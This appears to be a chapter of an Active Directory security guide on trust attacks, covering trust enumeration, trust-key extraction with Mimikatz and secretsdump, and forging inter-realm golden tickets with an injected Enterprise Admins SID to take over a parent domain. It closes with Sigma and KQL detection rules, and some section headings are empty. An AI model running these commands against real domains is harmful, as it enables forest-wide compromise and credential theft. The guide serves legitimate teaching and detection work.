Cross-Forest and Trust Attacks

Compromising one domain in a forest doesn't always mean all trusted forests fall. Forest trusts, intra-forest child domain trusts, and external trusts each have different security boundaries and different attack paths. This chapter covers trust enumeration, inter-domain referral ticket abuse, trust key extraction and forgery for intra-forest privilege escalation, SID Filtering bypass, and the specific conditions under which forest trust does NOT protect a domain.

AD Trust Architecture

Trust Enumeration

# PowerView: enumerate all trusts from current domain
Get-DomainTrust
Get-DomainTrust -Domain corp.local
# Output: SourceName, TargetName, TrustType, TrustDirection, TrustAttributes

# Check if SID filtering is enabled (TrustAttributes bit 0x4 = FILTER_SIDS = quarantine):
Get-ADTrust -Filter * | Select Name,TrustDirection,TrustAttributes |
  ForEach-Object {
    $filter = $_.TrustAttributes -band 0x4
    [PSCustomObject]@{
      Name = $_.Name
      Direction = $_.TrustDirection
      SIDFilteringEnabled = ($filter -eq 4)
    }
  }

# Map all forest trusts recursively:
Get-DomainTrustMapping
# Reveals the full trust graph — entry points for lateral movement between forests

# LDAP query: enumerate trustedDomain objects directly:
ldap_search_s(ld, "CN=System,DC=corp,DC=local",
              LDAP_SCOPE_ONELEVEL, "(objectClass=trustedDomain)",
              attrs=["trustType","trustAttributes","trustDirection","flatName"], ...)

# Trust attribute flags:
# 0x01 = NON_TRANSITIVE
# 0x04 = FILTER_SIDS (SID filtering / quarantine enabled)
# 0x08 = FOREST_TRANSITIVE
# 0x40 = WITHIN_FOREST (parent-child / same forest)

Inter-Domain Referral and Golden Ticket with Extra SID

Trust Key Extraction and Forgery

# Step 1: Extract trust key (same method as DCSync, different target)
# The trust key lives as a special object in AD under CN=System

# Mimikatz on child DC:
lsadump::trust /patch
# Output: trust key NT hash and AES256 for each trusted domain

# secretsdump.py targeting the trust account:
secretsdump.py -just-dc-user 'CORP$' corp/childadmin:'Password1!'@childdc.child.corp.local

# Step 2: Forge the inter-realm TGT with extra SID (intra-forest escalation):
kerberos::golden \
    /user:FakeAdmin \
    /domain:child.corp.local \
    /sid:S-1-5-21-CHILD-DOMAIN-SID \
    /sids:S-1-5-21-PARENT-DOMAIN-519 \   # Enterprise Admins SID of corp.local
    /krbtgt:<child_krbtgt_NT_hash> \
    /ptt

# Step 3: Access parent domain resources:
ls \\dc01.corp.local\C$        # should succeed as Enterprise Admin
secretsdump.py -k -no-pass dc01.corp.local   # DCSync the parent domain

# Rubeus equivalent:
Rubeus.exe golden \
    /rc4:<child_krbtgt_hash> \
    /user:FakeAdmin \
    /domain:child.corp.local \
    /sid:S-1-5-21-CHILD-SID \
    /sids:S-1-5-21-PARENT-519 \
    /ptt

SID Filtering — When Forest Trusts Actually Protect

Foreign Group Memberships and Cross-Forest Resource Access

# Even without SID injection, cross-forest trusts expose resources.
# A user in corp.local can be a member of a group in partner.com
# if the partner admin added the foreign principal.
# These memberships are not visible in Get-ADUser within corp.local!

# Enumerate foreign group memberships (from corp.local, looking at partner.com):
Get-DomainForeignGroupMember -Domain partner.com
# Returns: GroupDomain=partner.com, GroupName=..., MemberDomain=corp.local, Member=...

# Foreign principals in local groups (check resource DCs in partner.com):
# NET LOCALGROUP Administrators on remote host shows cross-domain members
# that don't appear in standard corp.local user/group enumeration

# From inside corp.local: find groups in other domains containing corp users:
Get-DomainTrust | ForEach-Object {
    $td = $_.TargetName
    Get-DomainForeignGroupMember -Domain $td 2>$null
}

Detection Engineering

title: Inter-Domain Golden Ticket — Extra SID Contains Enterprise Admins
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    Status: '0x0'
  filter_child:
    ServiceName|endswith: '$'
  # Look for cross-domain TGS requests where the ticket contains
  # extra SIDs from the parent domain (visible in DC logs with full Kerberos auditing)
  condition: selection AND NOT filter_child
level: medium

title: Trust Key DCSync — Replication of Trust Account Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    Properties|contains:
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
    ObjectName|endswith: '$'   # trust account has $ in name e.g. CORP$
  filter_legit:
    SubjectUserName|endswith: '$'
  condition: selection AND NOT filter_legit
level: critical

-- MDE KQL: Kerberos ticket used in parent domain from child domain account
-- (cross-domain lateral movement indicator)
DeviceLogonEvents
| where LogonType == "Network"
| where Protocol == "Kerberos"
| where AccountDomain !in~ ("corp.local")          -- cross-domain auth
| where ActionType == "LogonSuccess"
| where AccountName !endswith "$"
| project Timestamp, DeviceName, AccountName, AccountDomain,
          RemoteDeviceName, RemoteIP
| order by Timestamp desc

Q&A